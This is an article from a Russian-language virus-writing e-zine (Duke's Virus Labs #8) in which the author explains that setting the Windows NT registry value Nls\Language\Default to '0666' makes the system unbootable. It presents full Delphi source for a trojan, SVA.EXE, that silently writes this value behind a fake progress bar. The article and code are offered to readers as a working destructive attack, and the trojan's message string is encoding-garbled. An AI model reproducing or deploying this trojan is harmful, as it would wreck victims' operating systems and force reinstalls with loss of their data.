- [Duke's Virus Labs #8] - [Page 25] - Trojan.WinNT.Registry (c) by RedArc Вот и я опустился до троянцев... Старею наверное. Однако набрел я на эту феню совершенно случайно. Устанавливал на ноутбук немецкую версию Windows NT Work Station 4.0 и поправил реестр для возникновения русского текста в некоторых мудренных программах, типа Origin. Русский текст возник. Однако в классном переводчике Stylus 3.01 for Windows в самых глубоких меню все равно вылазили одни иероглифы... И тогда я решился на отчаянный шаг - решил поправить в реестре совершенно неизвестную мне переменную. И поправил. Эффекта никакого. Решил перезагрузиться. И перезагрузился. И тут начинается самое интересное... Хренова WinNT дошла до появления синего экрана (ну где обычно ScanDisc запускается) и отказалась напрочь грузиться дальше. И что я не делал - все пофиг. Она упорно предлагала мне загрузиться с дискет и сделать Repair. В конце концов мое сопротивление было сломлено и я поступил так, как завещал Великий Билли - загрузился с дискет и сделал Repair. Эта тварь создала новый рабочий стол и новые настройки для администратора. Правды ради сказать, все предыдущие профили она сохранила под именем Administrator.001, но пускать в этот профиль меня отказалась напрочь - дескать у меня нет прав. Херакнулись и Favorit и почта... Поняв, что окончательно я потерял все, я переустановил систему заново. Я переустановил систему заново... но жилка исследователя не унималась. В итоге я перебрался на свой рабочий комп и повторил операцию с этой злощастной переменной в русской WinNT. Итог - пришлось поставить новую систему и на рабочем компеё Теперь у меня стоит английская версия Windows NT и экспериментировать еще раз мне не хочется. Кто устанавливал нтишку, тот поймет. Зато от обиды на Гейтса у меня родилась идея поделиться этим красивым сносом Windows NT с читателями журнала DVL. Вот собственно и та самая переменная. А в приложении вы найдете незатейливый троянец на Delphi, юзающий этот эффект стоклятого мелкософта. Троянец называется SVA.EXE Путь в файле реестра: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language\ Переменная: Default = "0419" Изменить на: Default = "0666" или на что-нибудь подобное и перезагрузить компьютер. Для несведующих: изменить можно с помощью программы C:\WINNT\RegEdit.Exe Желаю удачи ;) RedArc // TAVC // c0mmAnd0s ===== Cut here ===== unit TrRegistry; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, RXSwitch, ExtCtrls, vgCtrls, RxGrdCpt, Gauges, RXCtrls; type TForm1 = class(TForm) RxGradientCaption1: TRxGradientCaption; Titler1: TTitler; Panel1: TPanel; Gauge1: TGauge; procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure FormPaint(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses Registry; const AVar = 'Default'; ARegPath = 'System\CurrentControlSet\Control\Nls\Language'; var FRegistry : TRegistry; {$R *.DFM} procedure Write_Registry (RegPath, Parametr, S : String); begin FRegistry := TRegistry.Create; FRegistry.RootKey := HKEY_LOCAL_MACHINE; FRegistry.OpenKey(RegPath,True); FRegistry.WriteString(Parametr, S); FRegistry.CloseKey; FRegistry.Free; end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin MessageDlg('═┼ ╟└┴╙─▄╥┼ ╧┼╨┼╟└├╨╙╟╚╥▄ ╩╬╠╧▄▐╥┼╨!', mtWarning, [mbOk], 0); end; procedure TForm1.FormPaint(Sender: TObject); var i : integer; begin Write_Registry(ARegPath,AVar,'0666'); Sleep (100); for i := 1 to 100 do begin Gauge1.AddProgress(1); Sleep (100); end; Sleep (100); Panel1.Visible := False; end; end. ===== Cut here =====